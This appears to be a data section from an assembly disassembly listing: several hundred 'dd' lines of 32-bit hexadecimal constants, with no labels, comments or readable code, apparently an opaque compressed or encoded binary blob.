		dd 46B1ABF5h, 91B1B82Ch, 0E7BC3A28h, 9EA60B1h, 42B873F2h
		dd 980A36EEh, 65307F12h, 0B5280DE8h, 697920FCh,	0A2B9FC7Ah
		dd 4EB346F4h, 7A2CB1FDh, 0F4A0B7F8h, 1420405h, 9836E713h
		dd 5886F442h, 40A6590Ah, 0EC580E43h, 10F5CC4Eh,	5E0895D3h
		dd 0A7F4C7D0h, 0F98B98C1h, 0E476D151h, 761453DCh, 1B40A2EFh
		dd 7B1627BAh, 8B668874h, 0EF04C49Dh, 0EFF9A754h, 0A9092184h
		dd 0FD40B197h, 19535F11h, 28E0503Ah, 85B70F81h,	500F9946h
		dd 0C5374411h, 8B55FD22h, 0C8706468h, 5021D042h, 4590FD88h
		dd 8AE3AB1Ch, 0E9513D5Eh, 0BE854407h, 8497BAB9h, 0E23E254Ah
		dd 0B20F344Ah, 8D089319h, 0C13B6540h, 5B8A907Eh, 0E731AE1Eh
		dd 7656FD34h, 0E0B0CB3Ah, 6BC2B94h, 0D7A41921h,	0BE0B3250h
		dd 88FC206h, 2F923031h,	10465D66h, 14EE4205h, 5012BD83h
		dd 68A714B7h, 0F94F7F90h, 118D5A33h, 19B10378h,	0E18B1C09h
		dd 0B8A59EC2h, 1F7D5172h, 0C6160ADDh, 0FC3A2845h, 27EFD57Ch
		dd 6F397563h, 0E16C0828h, 623F8849h, 9418A77h, 0B4A93B88h
		dd 6B65801Eh, 0B468E2BAh, 0C48B3947h, 2270CC8Fh, 6AD4FD2Ch
		dd 75E9F13Ah, 8862F1E2h, 0C24209DEh, 25502BFEh,	4E25B720h
		dd 8C2CEA2Bh, 0DE0DD6DBh, 21674258h, 325DE478h,	0E34E8418h
		dd 6AF57125h, 8B416751h, 1150CD28h, 9E1A4CCCh, 95EA06D6h
		dd 164CB2E1h, 463E2571h, 69C5A026h, 22514085h, 700EEC20h
		dd 809163DEh, 0E8C2AA48h, 0D17524D9h, 0B367E546h, 663B3100h
		dd 10BA1276h, 7E8FE2CAh, 0FF4998BCh, 1AD96DE2h,	8B37746Fh
		dd 0AD9913E4h, 977C1AE3h, 0B675165Dh, 0C1527E1Ah, 3AE02137h
		dd 0C81A37DEh, 0FB2DE1DCh, 2E2440B1h, 66FDA099h, 0BAF126Bh
		dd 0C0128854h, 12EC0E11h, 0C47A2806h, 9DC0A09h,	5E1BD727h
		dd 4ADD4DE6h, 1B0848B2h, 3824CF42h, 418C79D8h, 0B41BF2F0h
		dd 2BCD0C0Bh, 1005FC04h, 5823BD31h, 0B076FF7Dh,	0C59078A4h
		dd 1A06802Fh, 40B0427h,	1032B275h, 0FCE8D110h, 43B06811h
		dd 894DC410h, 0E8457C20h, 4CF80C87h, 85A08D5Fh,	545E6850h
		dd 9F4733AFh, 2CBEDD4Eh, 0CC9F0790h, 0CA6C477h,	5CCFD740h
		dd 1087F458h, 868AB873h, 8328F99Fh, 89C833F4h, 0DE8BFFACh
		dd 7CFAF020h, 36AB074Fh, 2B690F3Ch, 279E5D24h, 1991868Dh
		dd 0EB0704E2h, 0D552833Ah, 7154D65h, 0D533DAC0h, 5B91B465h
		dd 0A325FE5Ah, 0D764E2AEh, 6A4ED9AEh, 0C484A0E9h, 8256DD1h
		dd 4FC968Bh, 7D2A8A73h,	79B17D97h, 0C15F0ECh, 0C8920A4h
		dd 0B9AC1528h, 0BB0C4C8Bh, 4616A85h, 3196E857h,	0A09EA869h
		dd 2D526DFBh, 0A871A6D2h, 0E83CCC41h, 719F2102h, 0F40BD11h
		dd 9075054h, 15E8089Fh,	0AB3A69ADh, 0CFADBF14h,	3498149Eh
		dd 712A153Fh, 3F84559Ch, 2ADFBA95h, 9E5E14Ah, 651AC60Fh
		dd 85051876h, 0FC9F6CEBh, 94F4641Ch, 14B7FF9Ah,	5E6E420h
		dd 0D377433h, 4631B202h, 516C53B3h, 0AE8A7C22h,	1C965239h
		dd 719C83E0h, 62A78A1Ah, 0AD7B158h, 5701C513h, 0A5755AF8h
		dd 634BAB2Bh, 678FD155h, 0CC47EBE0h, 17C4D490h,	0A3062C21h
		dd 80301054h, 0D37B8EFEh, 0D48488F2h, 4D115CFCh, 8B954188h
		dd 42044A3Ch, 0D822D2E0h, 8ABB49A2h, 7CC28F54h,	96F91AFEh
		dd 1FF88A12h, 0E264888Bh, 67E3804Bh, 5E34AB5Eh,	20CF6621h
		dd 3CF9C74Dh, 845041ADh, 16DFDB95h, 0A26FFCDBh,	0B87B823Ch
		dd 11A3B220h, 65168A0Eh, 76814044h, 70E184BDh, 0E2A73EDh
		dd 0D4B7128Bh, 24EB4B21h, 2A1A1042h, 30840A8Bh,	0C854A4D1h
		dd 4936C864h, 4E86A82h,	4D445691h, 1119DA88h, 88252B4Ch
		dd 4551E959h, 3C3C0D94h, 28E4D6FEh, 141FA144h, 98104A52h
		dd 891FF82Dh, 348528Bh,	0D1285CA9h, 48BA4C0Fh, 92D86888h
		dd 0E158DE33h, 0EB99F210h, 0D5C86F24h, 3024A948h, 38D024F2h
		dd 38448ECEh, 18C85268h, 28E4B688h, 471CC022h, 1034219Eh
		dd 3986E2B8h, 0E10E142Ch, 0F09D138h, 0EEFFDC84h, 0CCD2BD64h
		dd 4C3B6489h, 832A0F8Eh, 28521BC1h, 0C4B42328h,	86993C28h
		dd 8C233446h, 713C34C4h, 232C4686h, 3C2CC464h, 29408A49h
		dd 3C99FB3Ch, 4584F7BBh, 6ACF24Ch, 0FA423C18h, 0BC08ED76h
		dd 0ED76FB42h, 8D81FA0Ch, 10FA0655h, 30CFF689h,	1E8A1691h
		dd 0BC1199E6h, 9C6815FBh, 1038211Ah, 0A43CA270h, 28328C34h
		dd 680A5611h, 7C1034E4h, 3C4434C8h, 6C4E122Dh, 22082C19h
		dd 7A11AA7h, 0FA4FE884h, 381B8ABBh, 692E41AAh, 0E4273880h
		dd 8B76B874h, 0A344851Dh, 2F46A586h, 6F40682Ch,	84874C78h
		dd 0D4B8E197h, 115C722Bh, 3F5B916Eh, 938AC2A8h,	0FE7C8872h
		dd 1A350768h, 86296212h, 686FC72Ah, 79D914C4h, 1A428328h
		dd 0FD5BE90Fh, 114942D0h, 8A2C1CF6h, 688867BCh,	697BB548h
		dd 0C753A846h, 4590FACh, 86AC120Fh, 0D421C1B6h,	6948C208h
		dd 0AF1D0EF4h, 0EA92EC1Dh, 88C433A6h, 8E106B1Ch, 0D308C410h
		dd 4A441E28h, 0C4647B5h, 1F6FDDB8h, 0B0DC9A12h,	0FFC2DDDh
		dd 3BCD3457h, 38C4F410h, 27CA1C42h, 38982C67h, 285BF625h
		dd 16D20528h, 91D8274h,	4F068D95h, 5351BAE0h, 0AF4B2608h
		dd 0D19C164h, 0DECD152Eh, 0CDE463Ah, 0BD51FBF2h, 3D7DC006h
		dd 0F410DFA0h, 8B47E388h, 0F0306A11h, 0FB11EF4Fh, 24A0AD5Bh
		dd 2EE91626h, 0CAC6F80Bh, 0D127E9C6h, 0E80C930Ah, 806B9E1Bh
		dd 9F2834B4h, 680A0B75h, 13024003h, 636A5DE8h, 0E4CB4E12h
		dd 24BA855Fh, 2911FF35h, 9192760Eh, 5022E2F1h, 6850EB38h
		dd 20067C13h, 681605A2h, 6741D570h, 0A146A1Dh, 0A04A21E8h
		dd 11CD8F0Bh, 0C416C853h
		dd 0D4AF252Ch, 429F2F01h, 842CA8E3h, 680A4B28h,	1B485382h
		dd 7D84D53Ch, 91258414h, 0EC2AB084h, 61408AFDh,	0FB84F5ACh
		dd 3EFA0DA6h, 0E5428B7Ch, 1D65C5F8h, 0F0C4FCF8h, 11AD53F5h
		dd 85B6A379h, 8E0CF226h, 2A0DE1F8h, 5651A888h, 0BF4B7309h
		dd 0D3400CCCh, 8D31C123h, 8B3F40B5h, 3C5A5FCh, 8B333868h
		dd 0FFA04EB8h, 0A018E828h, 8AF2088Ch, 1E028EA5h, 79C7FDD9h
		dd 0CA409F3h, 1B2A7217h, 1CC3F89Ah, 91181087h, 0B5502938h
		dd 0AE183DCCh, 3C0CF1ACh, 1B1C52C9h, 186CB4A4h,	2A1C4286h
		dd 23F7547Dh, 4808C8A4h, 5050C473h, 0F1F81260h,	724B1564h
		dd 0A3E6FF89h, 6C1A14EDh, 20189610h, 6FA90815h,	3E358F1h
		dd 0EFB8DF83h, 0FF3F613Eh, 857C3E87h, 1C1BE0C2h, 26401043h
		dd 0A183A550h, 7710E4EAh, 8546488h, 0B2D16E14h,	8141910h
		dd 0DF5BAB93h, 99BA4EB8h, 7A319C3Ah, 670A1466h,	0EC51EAF4h
		dd 2AF811E6h, 1F8D74AAh, 0C7EAA96Ch, 0A7CA1907h, 34682E02h
		dd 0F021E846h, 0A0CE4FDh, 0EA6EDFE8h, 1C450718h, 0F310ED2Fh
		dd 68F48A1Ah, 48F00488h, 5308C4F9h, 34194094h, 0F85818B0h
		dd 4107A3E8h, 0C4B2828h, 10EF0888h, 0C1044C8h, 864A3DDh
		dd 87110C32h, 16B97A57h, 662ED00Ch, 0FA62E812h,	808D0192h
		dd 0C13B496Bh, 0FC834A0Fh, 14A5854Ah, 1110C262h, 41FF3CEBh
		dd 45686C09h, 3B0E0808h, 733F9EA6h, 2AAD534Dh, 0F2F1403h
		dd 0D07129B6h, 0C63F80F3h, 4051084h, 0EB2C0AF6h, 4173231Bh
		dd 0B26F1CD4h, 91E4163h, 7B2A22Bh, 0F97EB29h, 2270D825h
		dd 74D1F603h, 0CDAE93A4h, 6D60ABE0h, 57797F49h,	15F8048Ah
		dd 2170FC88h, 0F2108812h, 8E662871h, 9FA20888h,	11FE405Eh
		dd 7417454h, 0A9AA043Bh, 287521F5h, 0D64A624Dh,	171FB528h
		dd 38D4E868h, 8042365Bh, 0DC68157Ch, 83F456D4h,	1184A81Ch
		dd 0F120C482h, 4B84D539h, 5FE809BBh, 0C5C0FE16h, 48173C38h
		dd 0AD407986h, 34264439h, 0BB1BEDF1h, 14E6694Bh, 21C23B3Bh
		dd 7F74E284h, 43681810h, 775AA278h, 3810F672h, 485FFF0h
		dd 8971EBF1h, 437F034h,	419F379h, 990E2408h, 0B2342004h
		dd 0D2E5948Ah, 1D082830h, 1CF63881h, 80D10E84h,	7DEB1407h
		dd 0F84E430h, 62DC8748h, 49B63C75h, 40F88305h, 147C2874h
		dd 1474212Eh, 0C3215F59h, 6A48140Eh, 0D046383Bh, 2EE9B17Fh
		dd 4512B2EEh, 580F286Dh, 0CCD8906h, 0DA8B7183h,	3FCF60D6h
		dd 8407A0E1h, 0CAD6DF5Dh, 0BD103904h, 825A8D2Fh, 48328B55h
		dd 0F0433CBEh, 24D47484h, 0ABE8124Fh, 0AF94FF14h, 51101787h
		dd 2D42D5D4h, 0E8154746h, 248A2E3Ah, 0D22D118h,	0A06984E6h
		dd 0BAA0212Bh, 17E81323h, 69D1304Eh, 17AFD1F2h,	0E450F0EAh
		dd 44445F3Ch, 4990906h,	0DBA46B26h, 0B3A4131h, 886F49FAh
		dd 7D057834h, 5AE9F884h, 28DF49B5h, 0C82D749Dh,	4A1C682Ch
		dd 0E84C28D4h, 64C43B57h, 14226936h, 0DF20531Eh, 9E21790h
		dd 6A29DF94h, 49A61308h, 2271825Bh, 20C5D40Ch, 12DDE885h
		dd 67754320h, 17045268h, 0DD53C6C8h, 2FD3F62Eh,	0D3BC1065h
		dd 597C0FE1h, 0F11263F6h, 100ED474h, 38B4124Dh,	79863617h
		dd 4439AD40h, 129B3514h, 0AD9E60F2h, 127B622Eh,	13FB7FC9h
		dd 77C5F010h, 0A13DAB11h, 0A4617518h, 0B6E92516h, 0CDC67409h
		dd 81D4EA96h, 2452F7FDh, 70F17B01h, 0ADCB72E9h,	769B448Ah
		dd 2BC8488h, 79AA12D2h,	3C2445E1h, 7A5BB0B2h, 0FCCFE599h
		dd 533CC644h, 6F28B00Bh, 3C0C7250h, 0D4B5F45Ch,	9D9EB4Dh
		dd 0DE503D41h, 3EB9CC3Eh, 3D624BBEh, 439D3510h,	0D5808821h
		dd 8B4EF450h, 9CF53ADAh, 13FD95F7h, 8438FA65h, 0ECAE1086h
		dd 90AD9BFh, 622F8459h,	2136D842h, 0D508FA48h, 0B8B75B0Fh
		dd 3C2DEBA0h, 909A71FAh, 7F4CAFBh, 0FC62F844h, 0BBFA4430h
		dd 86F9BCBEh, 0BD810780h, 665506A2h, 0AF15E3C1h, 9570C9F3h
		dd 1C29029Ah, 77EDCAF5h, 0D6AC4683h, 0E81A60BDh, 7C971383h
		dd 0AF0AC52Ch, 688568F2h, 0BF222C98h, 0D93D1159h, 210AF843h
		dd 3C9EE48Ch, 0E9348EFCh, 0A908E160h, 0AD504D40h, 2714F50Fh
		dd 53D64C21h, 0FA3C7111h, 0A71FF192h, 85756C15h, 2234E43Fh
		dd 0F4213E01h, 0D36872FBh, 2D84FBE4h, 0B17F4074h, 12A9373Dh
		dd 2EA5BC5Eh, 0F2AD667Dh, 315D9725h, 12901CA6h,	0B3A0D3FCh
		dd 4DFA4448h, 0DB343A46h, 0AB1C34AFh, 0E7E24A12h, 5767AE5Bh
		dd 0B4219FCFh, 341F6289h, 210BF91Eh, 3D3044F4h,	0EAED16F2h
		dd 7C0F2C39h, 0FBF08885h, 0F23D28E4h, 6B925C3Ah, 0F8F0C6DDh
		dd 2C06A930h, 6822010Dh, 2AB131A4h, 0E882B7A9h,	1A5F7757h
		dd 6DE03057h, 8097BF39h, 0D60D3B08h, 88014121h,	6050D6B4h
		dd 37B28B5Bh, 7A45B51Ch, 0D4E0D142h, 0FEF62FEBh, 0E655345h
		dd 0FBA7C5FEh, 4E546498h, 1543F61Ch, 0C42B3474h, 78A8817Ch
		dd 0BD2C202Bh, 642D1EE8h, 95022D27h, 3EFE579Fh,	7B299844h
		dd 781DBD4Bh, 0EF4CB77Dh, 2B1BFC2Bh, 0E953623Eh, 6F0DFE8Ah
		dd 211C7245h, 51D46820h, 0F64EE8C1h, 110525B1h,	459068EBh
		dd 0D730B102h, 443C2C12h, 90850346h, 0F10A88A4h, 16041224h
		dd 4675E842h, 0F6BFD2FEh, 0A4B8383Fh, 4A886B19h, 6857020Ch
		dd 0EEE03ABh, 8E9EC21h,	0B6590BC7h, 0C42629EEh,	0A7B533F4h
		dd 0A1A8DD1h, 6C1230Bh,	4A11DCEEh, 9B8FBE6Ah, 42BBB421h
		dd 0E8094C90h, 0C0B0378Dh, 0F5820679h, 0C8C4B37Ah, 6859EDACh
		dd 0D721460h, 0A841AF3Ch, 250648EEh, 0B4422A5Eh, 4D891CEFh
		dd 8A2C1C40h, 21FAE655h, 2F08EFB8h, 0EFB8500Bh,	4A8B5584h
		dd 4767EF2Ah, 0D02BBCD6h, 57D12D5Eh, 0C574AF92h, 0D811682Eh
		dd 5C48436h, 7EB0A819h,	0CC4B32F6h, 0E95BE048h,	0B15E24F6h
		dd 0DB1B1772h, 58980791h, 57AD5C46h, 6D728164h,	0D0D0782Ch
		dd 0E4359C3Fh, 0D8628333h, 99D0E9B4h, 8B12F054h, 0E9958846h
		dd 0F408D94Eh, 1F10EB42h, 80108074h, 0D8ED8CA5h, 0EEB40E5Bh
		dd 28B17D8Ah, 283BF2B5h, 811E9C2Eh, 13A79D14h, 0B42239DAh
		dd 6DD3A1EEh, 0E3930640h, 1064B5FEh, 0FCED9C22h, 3A14A8B3h
		dd 50D28CE4h, 0E81E38BBh, 2718E941h, 0A50A4A03h, 98289BC1h
		dd 0C8C0111Dh, 31C9CFEFh, 8810C88Fh, 348E6467h,	0DCBCBF0Ah
		dd 8C63A466h, 9BE2920h,	5CA81145h, 1028123Fh, 914B0329h
		dd 2979482Ah, 49FFE854h, 201DFE73h, 17BD51A2h, 2536C46Bh
		dd 7B5FAD09h, 0AA8B0440h, 225AD82Eh, 23FDEFD0h,	84BE4A4Ch
		dd 761FEBD4h, 750D8D54h, 0A4810433h, 1F24CCD8h,	29D0F806h
		dd 3BC12A2Bh, 8A726738h, 0C41BEA73h, 0C02CC08Ah, 3BA604E8h
		dd 3E58D847h, 3EF235D1h, 5F03FA2Bh, 425CF990h, 656E90B1h
		dd 0A1074078h, 0A47F06F8h, 21FE0368h, 0CED82D0h, 0BD1EA416h
		dd 12A6627Ah, 2BFBD489h, 882B62B3h, 2C0C6421h, 99318ADAh
		dd 0BA84DF66h, 6A61BA8h, 92408D48h, 349711AAh, 0A60475E2h
		dd 7198216Bh, 7219E6E8h, 0DC800F15h, 0DA7948B1h, 0DECF080Ch
		dd 7DFB29C2h, 0F0BF546Ch, 42B1BE8Dh, 0ED73E648h, 8286F93Ch
		dd 0B00D1207h, 0BF58731Ah, 1129BAEAh, 958CD1D7h, 0C6CE110Ch
		dd 0D11D2D0Ah, 3E231B0Ah, 1C0FE44Dh, 8DEB2E0Ah,	446D687Ch
		dd 882A3489h, 18884046h, 4D66996Ah, 198D5112h, 2B21AD7Bh
		dd 7FC0854Bh, 56EB027Ch, 1F8413B8h, 3EA50A7Fh, 156D9374h
		dd 80C98040h, 2E348A9Ch, 0F3AB10FDh, 7D5F52D4h,	740C7025h
		dd 0E64C506Eh, 867D7F84h
		dd 10902487h, 22E734B7h, 0C0943259h, 109E5597h,	0DCA52486h
		dd 68C263E8h, 2128E680h, 160BE858h, 89E47506h, 0B86D36D8h
		dd 2BEBCA80h, 8AE9AF0Bh, 0BE0A548Bh, 842B4710h,	66BF14E3h
		dd 7C9F1F9Ah, 6E30EBE0h, 79976FB1h, 0E6D7C9ACh,	0EB969904h
		dd 5C1675CAh, 50DC4865h, 0CA4088Dh, 3F655910h, 4DD451ECh
		dd 94D21645h, 756E56A0h, 2F3D3CA2h, 60848CD0h, 0B17F0534h
		dd 1D807124h, 0EFFBAFE9h, 0DF6CCA05h, 0C3D23110h, 0E0A1E2A2h
		dd 558E7B5Fh, 3F03AB11h, 0FFE6CADAh, 55DC948Bh,	860513D0h
		dd 81917595h, 2884C303h, 0AB045F48h, 84F4692Ch,	0D97E09EBh
		dd 0A279F2EEh, 8E130810h, 0A9ABAC13h, 710802D5h, 4CE2044Ah
		dd 0E474708Fh, 2C71D925h, 885F69D8h, 0C7BD2E98h, 30E52F4Bh
		dd 0CB046608h, 0D624577h, 7F264DE8h, 51A2BEEDh,	37462F94h
		dd 8DF940CBh, 42E6731h,	1699DD39h, 4B072603h, 1B08D7A1h
		dd 0F4088713h, 2F8B9003h, 8E1A7540h, 0D477613Ah, 50CFE93Dh
		dd 4D7573A0h, 9473F197h, 0CF210D10h, 24A3D921h,	32A4519Bh
		dd 854E30BCh, 0DDAD9928h, 1A980BB1h, 12DCB882h,	3A6AE48h
		dd 0C90F7CB7h, 3AF46CC9h, 0A18637FFh, 0EBDA2C35h, 95280D22h
		dd 16B280FEh, 0BCCA2824h, 26132028h, 4259DD7Ch,	211EEA4h
		dd 69423FAFh, 77FF6958h, 0DF379C6h, 0CBC40704h,	93010616h
		dd 8C5E805h, 0AFDD792Bh, 4211F17Ch, 852170F8h, 3044ED10h
		dd 0BC50616h, 4F2EB2AFh, 0E80477F7h, 0C1FED312h, 8FF6DD78h
		dd 302AC40Bh, 0D9C64479h, 4F9F9944h, 68804A80h,	79844F96h
		dd 0B7CDBE9Ch, 46F70E08h, 846C8483h, 9B197327h,	32A30E38h
		dd 840F23ECh, 522040Ah,	0FB080811h, 8A0C9A44h, 8FB5D977h
		dd 0ADF0EEE0h, 5E169312h, 89F42513h, 1001E0E2h,	5CE180E9h
		dd 0D351E830h, 82092F13h, 814C46EDh, 0F494808h,	617DE04h
		dd 412C8184h, 0EB29869Fh, 0B3242942h, 0DF1A402Ch, 7FF0FF8Dh
		dd 59132D52h, 8584552h,	9F86702Fh, 5F59B176h, 25434049h
		dd 4A8D995h, 14855D85h,	22D0BEDh, 44843912h, 66F6EF72h
		dd 6963E80Bh, 1BC13B1Bh, 0A5118D28h, 7928A5DCh,	4FEFE411h
		dd 0E9D264ADh, 640350DEh, 3E7BC3A4h, 9ACCFE5Fh,	7B3A23Bh
		dd 6951924h, 0B329FAE2h, 0F9141F0Fh, 9928824Ch,	9704D67h
		dd 6C6D3D7Bh, 48EC5DE8h, 8BFA281Dh, 0D5AFFA07h,	0E87D39CCh
		dd 0A2A3AA8Bh, 9E95458h, 0DCB29055h, 2AED84EEh,	9901DFDh
		dd 0A079D748h, 0D14CE964h, 3DD19A17h, 0C37E8486h, 71024497h
		dd 4BE3DD68h, 447DC318h, 0C8541051h, 3B08B4FEh,	87C7A032h
		dd 0F4321022h, 0AA4F45B8h, 6111BE62h, 0F72ADD15h, 198F24E7h
		dd 114F7AFh, 62956AFFh,	8098F6BBh, 2C25FFC3h, 959FDD71h
		dd 0B82106BCh, 0B0C8B490h, 0A832AC64h, 0A00CA419h, 219C4386h
		dd 0C8949098h, 4E8C6490h, 881039CCh, 0A4840E52h, 7C328006h
		dd 740C7819h, 11426AAh,	503D5124h, 8244C60h, 81141472h
		dd 2D280CE9h, 1852A05h,	0EC730318h, 0C48BC82Bh,	0E1761A74h
		dd 32D2D2B7h, 70C1C350h, 680C6C19h, 2B04EADh, 13448B53h
		dd 960B1424h, 1060A6D2h, 0D2330C19h, 11F164F7h,	0BCF2EB08h
		dd 6682AC5Bh, 41355CA2h, 0D1160154h, 0D1DBC9E9h, 0BD8D8EAh
		dd 0F475C906h, 0E838F3F7h, 917CCC64h, 306100Bh,	3B0E72D1h
		dd 877364Bh, 76785311h,	100C2B63h, 1424371Bh, 0C85E811h
		dd 0AAC3DAF7h, 5B01A783h, 835A10C2h, 0AF657658h, 14817218h
		dd 0D8321024h, 110A8B93h, 8141EBD3h, 9F501464h,	0F0F281D1h
		dd 8B451826h, 0B9E6F2C5h, 7121084h, 1760C20h, 8B9AC24Eh
		dd 73885EC6h, 326412FCh, 43E6002h, 33535657h, 7D0498FFh
		dd 66A247E8h, 1DAAA608h, 378A2E83h, 45754A29h, 181C621Ch
		dd 0A1C451Ch, 148978B7h, 0BE10230Bh, 0AC541A54h, 0EBD139D5h
		dd 91B7D929h, 90F121DBh, 5918C81Ch, 8E101C14h, 48754F3Fh
		dd 5F5EA133h, 865CC24Ch, 54065854h, 21504386h, 0C848904Ch
		dd 32406444h, 0C38193Ch, 30438634h, 24922821h, 0C26A0A32h
		dd 29135359h, 1733255Eh, 16346CB3h, 408C098Dh, 6B3293F8h
		dd 81740884h, 0A564E8D0h, 9451CC4Dh, 49772671h,	30439441h
		dd 557D8D75h, 0A0685209h, 112849DDh, 317C248Ch,	0C99F563Bh
		dd 209E0815h, 0F0B6BE51h, 0BFF9D01Fh, 0F6858B16h, 553E895Eh
		dd 742630D1h, 0FFC5C81Ah, 0F525ABD3h, 0F3E8C291h, 0C2C9C109h
		dd 0CCF0FC0Ch, 8CB08D4Ah, 0EF7B195h, 0E17235B7h, 0AC73B868h
		dd 1D3480CBh, 8104B949h, 6683F146h, 46895E8Fh, 0C781C754h
		dd 4672B406h, 8021E53h,	7C800D74h, 53547824h, 3C698306h
		dd 8CAD0E0Dh, 7541E85Dh, 10880F6h, 0DB07743Fh, 1CD0D7E8h
		dd 3E4E042Bh, 899848BDh, 8405E4Eh, 0B18157A4h, 0E5549C0h
		dd 0FF847549h, 216F38A3h, 2876BA1Ch, 0D0E00C76h, 0B010DAAFh
		dd 3A5E2E70h, 14C8C090h, 81501864h, 31D11A88h, 1C44650Eh
		dd 19202849h, 253F8D78h, 0EBFC82E2h, 597C304h, 9537B95h
		dd 527C7DF2h, 0EC110C6Fh, 96321F1h, 152350B8h, 997021E9h
		dd 12C101A7h, 0AB2017Dh, 32242209h, 58914648h, 7A446A22h
		dd 11A28990h, 0A2F27CF2h, 67AB630h, 8C4409A4h, 12688980h
		dd 484C245Ah, 2228913Eh, 0F8064418h, 89EC7940h,	24D012DCh
		dd 91B448C2h, 41C632A0h, 486C247Ch, 224A9156h, 0FC0A4420h
		dd 0C8E87840h, 0CC91E009h, 0A844BE22h, 7E32889Ah, 817BCA80h
		dd 24EC12DAh, 99325FFCh, 19748CF0h, 2609C816h, 5C224291h
		dd 897E6C44h, 9AB19934h, 60128E11h, 950CCA6h, 89384444h
		dd 2212121Eh, 0E4B17BB2h, 0F8F053F0h, 0D9040933h, 6209331Ah
		dd 91B58F1h, 327176D8h,	3A094811h, 26483024h, 12221C91h
		dd 40F20244h, 0D489E677h, 0B824C012h, 0A891B048h, 94449E22h
		dd 127E8988h, 486C2474h, 225C9164h, 404A4454h, 2E123889h
		dd 1C482424h, 8221291h,	0F684FE54h, 91EC09C8h, 7DE415E2h
		dd 6C88CB4h, 1908AA80h,	0D0539C10h, 7E0922D0h, 89B28A44h
		dd 33C427C0h, 7E975904h, 12168909h, 48022415h, 22059113h
		dd 0C17440Ah, 6F123389h, 12483824h, 70220391h, 89340944h
		dd 240B1206h, 91084810h, 44742214h, 10928211h, 73113966h
		dd 0A00D5709h, 447A0263h, 0FF611774h, 40944903h, 8A25FC1h
		dd 72108016h, 0D28A8195h, 6AE7261Ch, 8FD1ABEh, 11C51026h
		dd 0F009DB62h, 6F050272h, 6733802h, 0B03E1186h,	0B6CC4CDDh
		dd 0C1E99164h, 1B4172C0h, 0D82BFA42h, 143C6814h, 0D0CA14E0h
		dd 8217648h, 5B207173h,	283C4014h, 200414A6h, 4199305h
		dd 3348704Dh, 5C05B470h, 1C236FB0h, 501044BCh, 211C8C5h
		dd 9842D190h, 10A288D1h, 326F2122h, 32903005h, 30B24E5Ch
		dd 76496C36h, 745C5878h, 8E9114A7h, 70E2F423h, 5830077Ch
		dd 0D812E6F1h, 0BA4C28B6h, 0B3289154h, 0D0292BD8h, 7E3E6228h
		dd 3C71C802h, 50FF0185h, 720A7473h, 0A797063h, 6E656C61h
		dd 61796D08h, 63426FF4h, 6572660Eh, 0E5771235h,	6E29264Ah
		dd 0F4763D0Bh, 66F9F769h, 5D631599h, 7326486Bh,	2A8E74E6h
		dd 7A0A6163h, 9A656866h, 5C771B08h, 0B24C5EDDh,	0A93735Fh
		dd 0E24270C3h, 64611166h, 682EDE78h, 6F74C548h,	71465C69h
		dd 4D666E8Ah, 1307AF50h, 0BA6EDA55h, 6D8C1978h,	0A822DFEh
		dd 782A79B3h, 5F657869h, 78036FF2h, 0BD696563h,	1D32105Bh
		dd 0D9747016h, 4164A468h
		dd 533372E7h, 67CB6214h, 7F689728h, 14343ED6h, 3FC1D539h
		dd 0D4033C4h, 50584159h, 485ADD06h, 298B3210h, 2110491Fh
		dd 0A3EE482Ah, 0E96E3887h, 5DBC774Dh, 5F140832h, 0DBB37653h
		dd 0CA6FD31Ch, 1B089A6Ch, 76A79F28h, 43274E58h,	72461178h
		dd 48249561h, 4D009CA4h, 52435653h, 182E6854h, 0E25767C2h
		dd 0E3884941h, 3214303Dh, 58E7335Fh, 656A4418h,	46145A58h
		dd 0E0B978E7h, 2E18531Ah, 0B9BCDB0Bh, 30AC7562h, 9443C4F5h
		dd 1D573673h, 6DB85465h, 3AB2901Fh, 63858650h, 5308E344h
		dd 0AFE934DFh, 0C505212h, 9B4DCA17h, 0EA917A3Ch, 0A7504F12h
		dd 3E47A32Bh, 640A4DC4h, 95736C75h, 0C468AF4Eh,	66127216h
		dd 75431430h, 7ADD7271h, 498A3EE9h, 3B686264h, 45922221h
		dd 7443B14Dh, 9A7B8C1Ah, 2598207h, 86706989h, 87864327h
		dd 45A22ADh, 6C707544h,	3962D469h, 426C1FD4h, 95459038h
		dd 0A7907D1Ah, 24DD687Eh, 574C4328h, 4687908Fh,	614C123Ch
		dd 7E45C50Ch, 0A064996Fh, 0A5E1908Fh, 239F2150h, 0E0D68FCh
		dd 0AB3D6441h, 0A84C9FACh, 6A21E9CEh, 79B829FFh, 0AD5347F4h
		dd 443B4198h, 0AE46A869h, 969E41AAh, 6D535474h,	0D10E4270h
		dd 997091A6h, 9C205739h, 53469864h, 16DC4173h, 0CA9F676Ch
		dd 52ECC8CAh, 0C8842434h, 96619D81h, 361E494Eh,	5612122Bh
		dd 6973ED07h, 0C8106EE5h, 48DDD05Eh, 24184997h,	4172BA72h
		dd 68AB621Ch, 74530AEDh, 73750A8Bh, 0E8BA6D3Ah,	1BA466Bh
		dd 61705314h, 244047FFh, 0AF243944h, 70795405h,	0C604AE29h
		dd 2CA8FCC6h, 67766E75h, 79B28C51h, 0FE08506Dh,	9A466221h
		dd 717FCD6Ch, 79129426h, 3514AD1Ch, 24492CCCh, 24454273h
		dd 0E4A96904h, 68F2A034h, 0D1A01ABBh, 1D9586A3h, 6C7A59A5h
		dd 0E415A272h, 16F85355h, 455139D7h, 94170A46h,	7676659Ah
		dd 70572F2Bh, 28705B47h, 1F8F6E55h, 84695670h, 0DC664F77h
		dd 10AD4D10h, 35CDA2A9h, 679A84C6h, 0E34D928Bh,	87906852h
		dd 328D7624h, 96486DC4h, 0ECDC6156h, 0D05162D2h, 4F0A9226h
		dd 0DD5B0C6Eh, 924D8638h, 0D478488Ah, 35808DA4h, 4BE79F45h
		dd 0EB4E520Fh, 5DE41C4Ch, 6CD29877h, 76DE5422h,	461A7EABh
		dd 34CCC374h, 2630757Eh, 0B0822D1Ch, 824C0D32h,	0A24D14C9h
		dd 4C6761B4h, 4374A0F6h, 0D9A7A368h, 0C8A706Ch,	33B5754Eh
		dd 2E1A63BCh, 14EE5355h, 0A2ACF774h, 854B6737h,	990E2579h
		dd 67DD0769h, 2441C575h, 76F41A12h, 29B1101Ch, 2C845F34h
		dd 0F3341035h, 1A27215Ah, 12E92854h, 3A0BB2DAh,	55CE2238h
		dd 0B4A06773h, 746D813Eh, 61F99A52h, 0A825422Ch, 1623F6EDh
		dd 52F55637h, 0D28401D4h, 63412871h, 0F3697030h, 81B92859h
		dd 8A56449Dh, 70D64950h, 94DE6853h, 0F85D2B4h, 0F23E7A5Bh
